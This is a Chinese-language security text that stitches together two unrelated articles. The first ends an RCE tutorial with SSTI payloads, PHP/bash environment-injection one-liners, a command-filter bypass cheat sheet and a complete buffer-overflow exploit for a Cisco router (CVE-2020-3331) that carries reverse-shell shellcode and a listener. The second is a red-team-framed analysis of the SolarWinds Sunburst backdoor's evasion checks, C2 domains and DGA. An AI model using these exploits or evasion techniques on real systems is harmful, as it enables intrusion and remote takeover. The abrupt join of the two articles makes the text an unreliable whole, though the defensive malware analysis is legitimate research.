payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3309
sk = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
## **14 SSTI注入**
除了这些还有一种rce非常的少见，就是ssti注入到rce
简单demo
我们可以看到计算成功，那么就证明这个点是存在ssti注入的
用网上的脚本跑一下payload
from flask import Flask
from jinja2 import Template
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__','__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__','__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__','__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__','__call__', "__instancecheck__", '__subclasscheck__', '__len__','__length_hint__', '__missing__','__getitem__', '__setitem__','__iter__','__delitem__', '__reversed__', '__contains__', '__add__','__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
for attr in searchList:
if hasattr(i, attr):
if eval('str(i.'+attr+')[1:9]') == 'function':
for goal in neededFunction:
if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
if pay != 1:
print(i.__name__,":", attr, goal)
else:
print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\")}}{% endif %}{% endfor %}")
我们从output里随便抽一个payload
例如第一行这个
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_ModuleLock' %}{{c.__init__.__globals__['__builtins__'].eval("print('ZACTEST')") }}{%endif %}{% endfor %}
然后打开我们的web服务，就是最开始的demo
打进去payload，我们可以看到成功print输出ZACTEST
使用os模块执行whoami
http://127.0.0.1:5000/?name={%for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}{% endif %}{% endfor %}
## **15 缓冲区溢出**
因为我并不是玩pwn的，所以对缓冲区溢出RCE几乎完全不懂，以下就直接把大佬文章搬过来（已经得到授权）原文链接出处：
https://ret2w1cky.com/2021/11/12/RV110W%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
假设我们已经通过类似固件解包，串口通信等方法获取了路由器的固件等我们可以尝试通过寻找已知的CVE来定位可能的rce,这里是寻找到了CVE-2020-3331这个漏洞。
由于并没有对于漏洞点的一个精确定位 我们现在要一点一点的摸索；首先，在上面的Nmap
扫描中，我们知道网站是开放了443端口的。因此，上内部服务器之后netstat确定文件是最好的方式了。但是，因为某一些原因，其中的netstst命令可能因为版本过低没有办法使用一些参数，所以，我决定开个http服务器，把高等级的busybox传上去
可以看到，443端口绑定的正是httpd文件，现在我们已经可以确定漏洞文件了，现在只需要查找漏洞的函数了
这时候，我们就可以使用diff查找也就是查找两个文件不同的地方，我们使用Bindiff工具, 现在，我们解包新版本的和旧版本进行比对：
这里 可以说越红就代表差异越大 但是 你越往下看就会发现唯一这个guest_logout_cgi和web有点关系 右键这个函数 View flow
graph
嗯 随便一看就可以看到这里有个高风险函数`sscanf` 地址在`0x431ba8`
其中sscanf的条件"%[^;];% _[^=]=%[^\n]"里，% 表示选择，%_ 表示过滤，中括号括起来的是类似正则
%[^;]：分号前的所有字符都要
%*[^=]：分号后，等号前的字符都不要
%[^\n]：等号后，换行符前的所有字符都要
也就是说，如果输入字符串”aaa;bbb=ccc”，会将aaa和ccc写入对应变量，并没有限制长度，会导致栈溢出
找到了这段代码 我们现在要对伪代码进行分析 看看需要达到那些分支才能达到`sscanf函数`
通过查阅函数 可以知道我们需要让...
* cmac：mac格式
* cip：ip格式
* submit_button：包含status_guestnet.asp
现在知道了页面是`/guest_logout.cgi`了 需要达成这些条件 那么 我们就可以开始试图溢出了 exp如下 ：
import requests
url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}
其中 我们还需要确定是用get 还是 post进行攻击 具体还是自己试一试吧 最后会发现只有post攻击下 web后台会转圈圈 所以可以确定是
post攻击方法
gdb-server 我们内部使用
https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/%E9%9D%99%E6%80%81%E7%BC%96%E8%AF%91%E8%B0%83%E8%AF%95%E7%A8%
使用wget 下载到 /tmp目录 通过上一次的`netstat`扫描 确定进程号 并且绑定进程号 格式如下:
./gdb.server :<绑定端口> \--attach <绑定进程>
在exp上 我利用cyclic脚本来确定溢出点
exp如下：
import requests
import requests
payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
#(cyclic 200)
url = "https://10.10.10.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+payload,"cip":"192.168.1.100"}
requests.packages.urllib3.disable_warnings()
requests.post(url, data=payload, verify=False, timeout=1)
打开gdb multiarch 这样设置
#(记得按c)
发送exp后 成功 确定了溢出点为 aaaw 通过 cyclic -l 查询 发现为85
现在 我们就可以准备构造语句了
**ROP Get shell**
mips架构硬件并不支持nx，所以利用方式通常为劫持程序流执行shellcode
由于sscanf栈溢出，所以不能有空字节，而程序本身的gadget都是有空字节的。。。
这时候自然想到用libc的gadget，但是，比较诡异的一点是，它的libc基址每次都不变
这里 我们可以通过`cat /proc/<pid>/maps`查看
所以 我们就要通过ret2libc的方式getshell 我们选择/lib/libc.so.0
利用mipsgadget 发现两条有用的gadgets
| 0x000257A0 | addiu sp,0x58+var_40 | jalr $s0 |
| 0x0003D050 | move a0 | jalr $a0 |
这样会造成什么效果呢？程序返回时，程序执行流被控制为0x257a0，去执行第一条gadget，a0 = sp +
0x18，jmp到s0寄存器，s0寄存器存的是第二条gadget，继而去执行第二条gadget，将a0放到t9，然后jmp到a0，a0存的是shellcode的地址，于是程序就会执行shellcode
**Shellcode**
我们shellcode用 msfvenom 不会生产空字节
那么小伙伴可能要问了 _那s0寄存器地址怎么算呢？_
其实 只要用我们第一次算溢出的图用 cyclic算就行了 也就是`cyclic -l aaan`
Exp:
import requests
from pwn import *
p = listen(8788)
context.arch = 'mips'
context.endian = 'little'
context.os = 'linux'
libc = 0x2af98000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0 (var_20) = -20
buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\x54\x0e\x3c"
buf += b"\x22\x54\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"
payload1 = "status_guestnet.asp"
payload1 += 'a' * 49 + p32(jmp_a0) # control $s0
payload1 += (85 - 49 - 4) * 'a' + p32(jmp_s0) # control gadgets2 , retuen to jmp_s0
payload1 += 'a' * 18 + buf # control $sp + 18
url = "https://192.168.1.1/guest_logout.cgi"
payload2 = {
"cmac":"12:af:aa:bb:cc:dd",
"submit_button": payload1,
"cip":"192.168.1.100"
}
requests.packages.urllib3.disable_warnings() #Hide warnings
requests.post(url, data=payload2, verify=False,timeout=1)
p.wait_for_connection()
log.success("getshell")
p.interactive()
成功getshell
## **16 php环境变量注入**
某次在P牛的知识星球划水，发现了一个很骚的思路如下
我们可以看到两个点，putenv，传入的参数envs和最后的不可控变量system
这篇文章已经说得很详细了
https://tttang.com/archive/1450/
所以这里只是简单总结，如果想深入研究可以看看这篇帖子
下载源码然后看到这个文件\glibc-2.31\libio\iopopen.c，我们可以在89行看到的执行sh -c，加上p牛的那段代码，最终输出的是sh
-c echo hello
Readfile的目的是读取SHELL中的profile文件
然后我们可以看到这段代码的257行，name被expandstr解析
文章里说，iflag经过分析是表示是否传入-i参数，然后我溯源的时候发现应该是在\dash-0.5.10.2\src\options.h文件和\dash-0.5.10.2\src\options.c文件中定义的
所以后面传参过去-i -c就可以了
ENV='$(id1>&2)' dash -i -c 'echo hello'
最后经过大佬的分析，在文件variables.c这段代码中
Parse_and_execute执行temp_string
我们可以在bash-4.4-beta2\bash-4.4-beta2\builtins\evalstring.c文件看到该函数
不过其实哪怕看其他几个传参点也能知道parse_and_excute执行的就是shell命令
最后以p牛给的几个途径完结
BASH_ENV：可以在bash -c的时候注入任意命令
ENV：可以在sh -i -c的时候注入任意命令
PS1：可以在sh或bash交互式环境下执行任意命令
PROMPT_COMMAND：可以在bash交互式环境下执行任意命令
BASH_FUNC_xxx%%：可以在bash -c或sh -c的时候执行任意命令
env 'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
当然除了这种，还有个LD_PRELOAD，我这里就不复现了，感兴趣的可以看看
<http://www.hackdig.com/01/hack-572721.htm>
## **17 POC/EXP编写**
RCE的原理大家基本都懂了，但比如挖到了0day，基本都是几千个站及以上了，如果刷分的话手测得累死，所以需要自己开发poc进行批量探测
这里先拿一个简单的get传参的rce来写
用一个小0day来做示范，如下
利用payload
/data/manage/cmd.php?cmd=whoami
可以看到成功回显
那么思路就很清晰了，rce直接用输出的数据，然后判断返回包是否存在，导入request包，然后传参，判断返回包是否存在我们想要的
Exp编写如下：
我们可以看到< br >< pre >后面使我们的命令回显，那么我们之前的字符都不需要，所以print出下标和整个html代码
我们可以看到我们的命令回显在< 这里开头后的第九个位置，于是取到下标b，从下标b开始到最后的都是我们的命令回显，那么就可以轻而易举的写出来exp
当然这只是get的方法，那么post的poc/exp该如何编写呢？两者差不多，区别就在于该如何传参
这里拿出一个某网关的rce做案例，可以看到，判断flag是否等于1，如果等于1就直接拼接参数sipdev，然后exec无过滤直接输出
然后漏洞复现，因为这时候我的burp突然坏了，所以用google的hackbar来利用，就是没burp直接看返回包方便
成功RCE
简单poc编写
简单exp编写
如果批量的话只需要同目录建一个url.txt，然后with open打开遍历就行了，网上文章很多很基础，这里就不做演示了
## **18 Bypass笔记**
基本案例就这些了，最后在加上一些RCEbypass的方法（本人java并不是很好，所以这里只有php和shell系统命令之类的），有些复现过有些没复现，可自行测试，可能不是很全，也欢迎大佬联系我进行补充
1.变量bypass
a=c;b=a;c=t;
b$c /etc/passwd
2.16编码绕过
"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
3.oct编码绕过
$(printf "\154\163")//ls命令
4.拼接绕过
sy.(st).em(whoami);//
c''a''t /etc/passwd//单引
c""a""t /etc/passwd//双引
c``a``t /etc/passwd/反单引
c\a\t /etc/passwd//反斜线
@，{x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh$1oami
who$@ami
whoa$*mi
5.利用未赋值变量绕过
cat /etc$u/passwd
cat$u /etc/passwd
6.通配符绕过
cat /passwd：
??? /e??/?a????
cat /e _/pa_
7.base编码绕过
echo 'Y2F0wqAK' | base64 -d '1.txt'
8.过滤分割符 | & ；
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
%0a //换行符
%0d //回车符号
用?>代替；
在php中可以用?>来代替最后的一个；，因为php遇到定界符关闭标签会自动在末尾加上一个分号
9.远程下载/复制绕过
Copy，wget，curl等函数，不直接写入文件，而是远程下载来保存文件
当然除了这些肯定还有很多绕过方法，不过本篇文章不着重于此处，可自行搜索
文章中部分是互联网的案例与素材，上上下下看了快几百个网站进行资料查找，问了很多大佬，全程自己打字写所以肯定会有错误，看到有技术性错误私聊我进行修改or删除，因为参考站点太多了，这里就不一一写引用了，如有侵权请私信我修改or删除
* * * | 社区文章 |
# 针对SolarWinds供应链攻击简介
最近FireEye披露的UNC2452黑客组织入侵SolarWinds的供应链攻击让安全从业人员印象深刻。一是影响规模大，SolarWinds官方称受影响的客户数量可能有18000家。二是攻击者留下的后门程序-Sunburst，十分隐蔽和具有迷惑性，分析认为攻击者对SolarWinds Orion产品理解程度很深。
有证据表明，早在2019年10月，UNC2452黑客组织就一直在研究通过添加空类来插入代码的能力。因此将恶意代码插入原始SolarWinds.Orion.Core.BusinessLayer.dll的时间可能很早，甚至可能是在软件构建编译之前。这就导致SolarWinds官方无意间对包含4000行恶意代码的DLL进行了数字签名，这样容易让恶意代码提升权限，并且很难被人发现。感染的Origin软件第一个版本是2019.4.5200.9083，在此几个月的时间内，用户通过下载受到感染的产品版本被感染。目前原始dll文件中没有发现存在动态拓展、也不存在横向移动等后渗透阶段的相关能力支持。
# Sunburst后门总体流程
总体流程图
<cernter>（Sunburst的供应链攻击各阶段-图源:微软）</cernter>
Sunburst后门总体流程可以简单地概括为以下几个阶段：
(1)SolarWinds.BusinessLayerHost.exe加载SolarWinds.Orion.Core.BusinessLayer.dll，并执行其中的恶意代码。
(2)代码通过9层环境检查，来判断当前环境上下文是否安全，是否应该继续执行。
(3)如果检查通过，尝试使用DGA算法生成的域名发送DNS上线通知，并检查DNS解析结果是否满足自身运行要求。
(4)DNS上线通知成功，则会尝试使用两种User-Agent和3种代理模式，与C2服务器建立起HTTP控制通道。
(5)Sunburst后门本身能处理的控制指令并不多，攻击者可以下载自定义的Payload，例如Cobalt Strike
beacon，即TEARDROP进行进一步操作。
Sunburst后门的代码都在SolarWinds.Orion.Core.BusinessLayer.dll这个文件中，这是个C#编写的.NET
assembly，可以直接反编译查看源代码，分析其运行逻辑。主要涉及的三项技术为代码执行（Execution）、环境检测（Discovery）和C2通信（Command
and Control）。
# TTPs提取与分析
## 代码执行/Execution
### 红队视角
无论是红队后渗透还是真实APT攻击，第一步要在受害者的机器上运行起来控制程序（agent/implant/artifact）。Windows系统上的代码执行的方法有很多，也可以从多种角度进行分类和总结。这里作者将之分为以下三类：
(1)BYOB: Bring Your Own
Binary，就是把后门、工具、武器编译成exe文件，上传到目标主机上并运行。这也是最直接的执行方式。缺点是需要不断的编译和上传、要处理杀软和EDR的静态检测等等。
(2)LotL: Living off the
Land，可以理解为就地取材，利用Windows系统和应用程序来加载执行恶意代码，典型的案例就是利用powershell的攻击。这种方式利用白名单程序来加载，会有一定规避检查的优点，但会产生明显的父子进程关系和进程参数，容易被猎捕。
(3)BYOL: Bring Your Own
Land，这也是FireEye提出的一种方法，在使用前两种方法建立了基本的代码执行能力后，在内存中加载并运行Windows的PE文件、.NET
assembly文件。优点是跳过了静态文件查杀，不会明显产生进程间调用关系和进程调用参数，缺点是需要自己开发内存加载执行的代码，很多常规的命令需要自己重新实现。
### Surburst实际攻击技巧
本次供应链攻击的Sunburst后门存在于SolarWinds.Orion.Core.BusinessLayer.dll文件中，它的运行需要SolarWinds.BusinessLayerHost.exe这个合法的进程来加载，可以理解为是一种变形的Living
off the Land执行方法。类似于DLL劫持，但相比于常规的DLL劫持，这类修改原始DLL的供应链攻击后门显得更加隐蔽。往往有以下特点：
(1)修改原有的DLL，不会产生多余的DLL文件落地
(2)程序加载DLL运行，不会产生子进程和进程参数
(3)供应商的信任进程不在常规进程检测名单，已知Windows lolbins检测规则无效
本次的DLL后门，可以看到作者很注重隐蔽(OpSec)，代码中透露着检测对抗的思想，其隐蔽技巧表现为：
(1)DLL合法的数字签名，很大程度上规避了静态文件查杀:
(2)代码通过创建新线程,执行SolarWinds.Orion.Core.BusinessLayer.dll.OrionImprovementBusinessLayer库目录下的Initialize函数开始恶意动作。DLL入口函数调用栈较深，通过6层的调用才开始执行代码，动态跟踪需要花费更多精力:
(3)代码使用自定义hash算法，常量字符串都进行hash处理，避免敏感字符串在传输流量和本地文件扫描时发现。实际使用的地方有9处，下图是进程名检测部分:
## 环境检测/Discovery
### 红队视角
红队技术传统技术往往高度关注进程列表检测、驱动列表检测的技巧：
#### 进程检测
对于杀软和安全软件的检测，我们通常使用taskllist /v和tasklist
/svc来检查进程和服务，可以认为这是一种手工判断+LotL的方法。这里推荐两款自动化的检测脚本和工具，大家可以根据自己的需求进行改造，结合内存加载实现BYOL的方式来检查安全软件。
(1)ProcessColor.cna，一款Cobalt Strike的插件脚本，可以帮助我们标记出常见的安全软件、监控软件、分析软件。
(2)Seatbelt的InterestingProcesses命令，C#开发的多功能信息搜集工具，可单独使用，可结合其他程序实现内存加载。
#### 驱动检测
既然进程和服务都检测了，那么检测这些驱动有什么意义吗？
在常规的情况下，检查进程和服务名称就可以了解当前系统的安全软件运行情况，但是一些高级系统管理员会修改进程和服务的名称，我们就没办法判断了。Sunburst后门在环境检测中还检查了系统驱动，这些驱动大部分都是杀软和EDR产品使用的。这一点是值得红队人员借鉴的，下面以sysmon为例进行说明。
图中左侧为常规的sysmon安装，我们可以在进程和服务中找到sysmon。右侧只是简单地把sysmon进行重命名，安装之后我们在进程和服务的名字中已经找不到sysmon了，只能找到修改后的名称。这个时候查看驱动就很必要了，因为sysmon默认安装的驱动路径和名字并没有改变，如下图：
即使管理员在安装sysmon的时候将默认的驱动名称也改了，但是每个驱动都有一个唯一的altitude，要修改这个成本就很高了。sysmon的altitude是385201，如下图，可以对比上图，这个是不变的：
### Sunburst实现的机制
SolarWinds.Orion.Core.BusinessLayer.dll中的恶意代码对于运行环境的检查十分严格，一共有9层检测机制，只有当所有检测条件都通过时，其才会执行上线操作。
| 序号 | 检测机制 |
| ------------ | ------------ |
|1|通过哈希判断当前加载恶意DLL的进程名字是solarwinds.businesslayerhost.exe|
|2|恶意DLL的最后写入时间比当前时间至少提前12到14天，说明其会潜伏半个月左右才会执行|
|3|检查硬编码的命名管道583da945-62af-10e8-4902-a8f205c72b2e，避免多进程重复执行|
|4|检查恶意复用的配置选项ReportWatcherRetry，ReportStatus项不能为3，即Truncate退出状态|
|5|检查当前设备所在域，域名中不能包含哈希值校验的黑名单patternHashes中的一些字符串；域名不能匹配到正则表达式“(?i)([^a-z]|^)(test)([^a-z]|$)”，该表达式主要用来检查当前域名是不是测试用的域名；"(?i)(solarwinds)"，猜测该表达式主要用来检测是否处于sloarwinds公司办公环境|
|6|检查第一个非回环启用网卡，不在IP黑名单中|
|7|检测进程Hash黑名单(含137个进程)，确保当前环境中没有安全相关软件和服务程序，如：Windbg、 Autoruns、
Wireshark，并尝试关闭服务名单中的服务|
|8|检查当前环境中是否存在13个安全软件的驱动程序，如：groundling32.sys|
|9|主机解析“api.solarwinds.com”为指令的IP地址|
## C2通信/Command and Control
代码运行起来，检测环境上下文是安全的，最后的一步就是和C2服务器进行通信了。Sunburst后门通过自定义的DGA算法生成C2域名，通过自定义DNS通道进行上线通知，通过自定义HTTP通道进行指令下发与数据回传。
### 红队视角
对于红队来说，最常规的出网协议是HTTP[S]和DNS协议，但是大多数情况是手动判断目标的网络环境后来选择C2通信的方式。虽然能够修改和自定义C2通信协议，无疑是规避流量检测的好方法，但是相对的成本会比较高，需要同时兼顾客户端和服务端，还需要保证通信质量。简易的做法是利用后渗透框架自身的配置来修改C2流量特征，比如Cobalt
Strike、Empire、Covenant等工具都支持Malleable C2 profile的配置。
Sunburst后门这种使用DNS和HTTP协议结合的方式，让作者想起了Sliver C2这款工具的DNS Canary功能。虽然DNS
Canary不是用来进行C2通信的，但是提供了一种红队监测蓝队是否分析了自己implant的思路。
Sliver C2生成的implant默认会使用符号混淆来避免杀软查杀，不会出现敏感字符串。但是当使用--canary/-c参数时，会将指定的DNS域名以常量字符串的形式嵌入implant中。并生成一个独一无二的DNS域名，如果蓝队人员分析我们的implant，发现这个域名，只要逆行了DNS解析，我们的C2服务器就会收到DNS查询请求，这说明我们的行动已经被发现。
如下图，红队人员在创建implant的时候，设置DNS
canary为mews.cs.local，在生成的implant中，嵌入了mqrrzkj.news.cs.local.和kvn3g0-.news.cs.local两个域名。
当蓝队分析样本，尝试解析域名时，C2服务器就会收到告警。
告警信息如下：
### Sunburst后门在该阶段的亮点
(1)很具有迷惑性的DnsRecords代码，用常规的变量名表达其他实际意义。
(2)对DGA生成的域名解析的IP地址，进行白名单、黑名单、等待名单的判断，确定网络解析环境是否安全才会继续执行。
(3)HTTP协议的一种User-Agent会采用SolarWinds产品的User-Agent，更加接近真实可信的流量。
(4)出网会检测代理设置，通过无代理、系统代理和SolarWinds本身配置的代理三种方式是尝试出网，连接C2服务器。
(5)高度迷惑性的C2服务器响应。
(6)高度迷惑性的DGA算法。
上述动作的具体表现为：
(1)具有高度迷惑性的DNS上线请求：恶意代码发送DNS请求并将返回的CNAME信息将保存至DnsRecords对象。
DNS查询如果请求失败，则设置随机7-9小时的休眠时间（代码如下图），进行休眠后再进行下一次尝试。
如请求成功，则首先判断是否存在CNAME信息，如不存在，则处理IP的最后两个字节，修改DnsRecords对象对应的字段：
length字段，此字段用于保存控制阶段应用的代理类型；
`_type`字段，此字段决定控制阶段使用的url以及对返回数据的解码方式；
A字段，此字段决定DNS请求查询阶段每次DNS请求之间的延时。
(2)对DGA生成的域名解析的IP地址，进行白名单、黑名单、等待名单的判断：检测到IP处于任一黑名单，将导致状态更改为Truncate，从而导致后续操作全部终止，并作标记此后不再尝试。IP黑名单列表：
IP地址 | 子网掩码 | AddressFamilyEx类型
---|---|---
10.0.0.0 | 255.0.0.0 | Atm内网IP黑名单
172.16.0.0 | 255.240.0.0 | Atm内网IP黑名单
192.168.0.0 | 255.255.0.0 | Atm内网IP黑名单
224.0.0.0 | 240.0.0.0 | Atm内网IP黑名单
fc00:: fe00:: | Atm内网IP黑名单
fec0:: ffc0:: | Atm内网IP黑名单
ff00:: ff00:: | Atm内网IP黑名单
41.84.159.0 | 255.255.255.0 | Ipx外网黑名单
74.114.24.0 | 255.255.248.0 | Ipx外网黑名单
154.118.140.0 | 255.255.255.0 | Ipx外网黑名单
217.163.7.0 | 255.255.255.0 | Ipx外网黑名单
20.140.0.0 | 255.254.0.0 | ImpLink等待名单
96.31.172.0 | 255.255.255.0 | ImpLink等待名单
131.228.12.0 | 255.255.252.0 | ImpLink等待名单
144.86.226.0 | 255.255.255.0 | ImpLink等待名单
8.18.144.0 | 255.255.254.0 | NetBios白名单
18.130.0.0 | 255.255.0.0 | NetBios白名单
71.152.53.0 | 255.255.255.0 | NetBios白名单
99.79.0.0 | 255.255.0.0 | NetBios白名单
87.238.80.0 | 255.255.248.0 | NetBios白名单
199.201.117.0 | 255.255.255.0 | NetBios白名单
184.72.0.0 | 255.254.0.0 | NetBios白名单
上述表格中Atm代表内网IP黑名单，ImpLink代表外网IP黑名单，Ipx代表等待名单，NetBios代表白名单。如果返回的IP处于任一黑名单，则恶意代码退出并且设置标记永不再上线。
在进行进程、服务、驱动状态检查通过后，然后还会解析官方域名“api.solarwinds.com”判断是否为指定IP地址，如检验通过则进入后续的感染逻辑，整个逻辑可以用下图表示：
(3)高度迷惑性的User-Agent：当恶意代码从C2域名的CNAME
DNS响应中成功检索到域，将产生一个新的执行线程，调用HttpHelper.Initialize方法来与C2服务器通信。
HttpHelper的构造函数会处理由DNS请求查询阶段决定的请求类型与代理类型，两种User-Agent，在正常情况下，第一种会用于Windows检查证书吊销列表。
第二种用于SolarWinds本身的通信过程，将伪装为SolarWinds正常请求链接或静态资源。
(4)高度迷惑性的代理配置：出网代理主要分为三类，无代理、系统代理和红色箭头标明的SolarWinds本身配置的代理，从这点也可以看出黑客组织对于SolarWins的了解的确十分深入。
最后组成了一个JSON文本，在其中添加了前面描述的userID，sessionID和一组其他不相关的数据字段。然后它将此JSON文档发送到C2服务器。
(5)高度迷惑性的C2服务器响应：如果C2通信成功，C2服务器将回复编码压缩后的数据，该数据中包含后门要执行的命令。C2服务器可能还会回复有关要报告的其他C2地址的信息：
命令 | 值 | 详细描述
---|---|---
空闲 | 0 | 无
退出 | 1 | 结束当前进程
设置延迟时间 | 2 | 设置主事件循环执行的延迟时间
收集系统信息 | 3 | 解析本地系统信息，包括主机名、用户名、操作系统版本、MAC地址、IP地址、DHCP配置和域信息
上传系统信息 | 4 | 向指定的URL发送HTTP请求，并把系统信息以特殊格式发送到C2服务器
启动新任务 | 5 | 根据文件路径和参数启动新进程
枚举进程信息 | 6 | 获取进程列表，并根据参数决定是否获取父进程ID、用户名、域名
结束任务 | 7 | 根据PID结束指定进程
枚举文件信息 | 8 | 根据文件路径枚举文件和目录
写入文件 | 9 | 根据文件路径和Base64编码字符串，将Base64解密字符串的内容以追加模式写入文件，写入后延迟1-2秒
判断文件是否存在 | 10 | 判断文件路径是否存在
删除文件 | 11 | 根据文件路径删除文件
获取文件哈希 | 12 | 获取文件的MD5哈希信息
读注册表值 | 13 | 读取注册表值
设置注册表值 | 14 | 设置注册表值
删除注册表值 | 15 | 删除注册表值
获取注册表子项和值 | 16 | 获取注册表路径下的子项和值名称的列表
重启 | 17 | 尝试使系统重启
(6)高度迷惑性的DGA算法：
如果样本通过上述阶段，则样本将在while循环中通过DGA算法开始生成域。样本会延迟域生成之间的随机间隔；此时间间隔可以是1到3分钟，30到120分钟或在错误条件下最长420到540分钟（9小时）范围内的任意随机值。
总共用四种方法来生成url，分别为GetCurrentString，GetPreviousString，GetNextStringEx和GetNextString函数。
下图是四种方法的调用条件，以及会组成的URL的第一段格式如上图。这里需要了解一个变量和两个算法，才能对DGA的算法生成过程更加了解。一个变量是GUID,两个加密算法即CryptoHelper.Base64Encode和CryptoHelper.Base64Decode。
其中GetCurrentString/GetPreviousString可以认为是第一阶段DGA，包含可以完整解析的域名，GetNextStringEx/GetNextString可以认为是第二阶段DGA，包含了有效的服务器时间戳等信息。
不管哪种生成方式，在OrionImprovementBusinessLayer.GetOrCreateUserID中，HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography的
MachineGuid值和第一个网络适配器的物理地址MAC组成了UID，并通过计算UID的MD5哈希，再用ComputeHash类的方法将 MD5
哈希值作为16字节的数组返回，异或之后最终输出64位哈希值这样得到目标GUID。GUID通过CreateSecureString函数进行加密，CreateSecureString函数中使用了CryptoHelper.Base64Encode算法加密。所以整个加密过程全是CryptoHelper.Base64Encode函数和CryptoHelper.Base64Decode函数实现的，
**研究的重点就是CryptoHelper.Base64Encode函数和CryptoHelper.Base64Decode函数**
。然而这两个函数都并不是名称表示的常见的Base64编解码函数。
CryptoHelper.Base64Decode其实是自定义的加密算法。
CryptoHelper.Base64Encode其实是自定义映射表的Base32算法。
下图是GetCurrentString/GetPreviousString函数加密方式中以CryptoHelper.Base64Decode加密域名的方式生成的URL。蓝色的表示会随机变化，黑色表示固定不变。紫色00带有下划线代表是此种加密方式的标志位。
一、前15个字节是GUID被加密过后的编码0fn7oe4cegrf933
二、中间一个字节是通过CreatString生成的“c”
三、后面的mudofi75f4tjvh则是AD域被编码后的字符串。
因为这里十六个字节过后有“00”开头的标志，所以可以断定应该调用OrionImprovementBusinessLayer.CryptoHelper.Base64Decode对应的解码算法。解码后可以得到域名称：WASHO。
下图就是通过GetNextStringEx和GetNextString函数加密的方式生成的URL。对照上图其实如果没有“00”标志，这种URL形式和GetCurrentString/GetPreviousString函数加密方式中以CryptoHelper.Base64Encode加密域名的方式是很像的，所以这种直接使用CryptoHelper.Base64Encode对应的解码算法即可，最终得到spsd.sk.ca域名。
安全研究员@bambenek在其Github上公布了1722个疑似与此次攻击事件相关的DGA域名:
通过上述DGA域名格式解析，我们仅提取最有价值的以“.”分隔的第一段看起来杂乱无序的编码尝试进行逆向解密，如下是解密结果的部分展示，可以发现此次黑客攻击目标的组织数量巨大，包括多数大型美国政府和企业的常见域名。
因为GUID是通过MD5计算出来的，所以要想还原MAC地址是不可能的，但这并不代表GUID就没有价值。FireEye在其GitHub上发布的DNS请求内部包含以下加密的GUID：
我们在解密出的文档中搜索发现同样的规律：
r1q6arhpujcf6jb6ervisu10odohu0it.appsync-api.us-west-2.avsvmcloud.com
domain name part GUID (0x2956497EB4DD0BF9) offset 0 = central.pima.g
0oni12r13ficnkqb2w.appsync-api.us-west-2.avsvmcloud.com
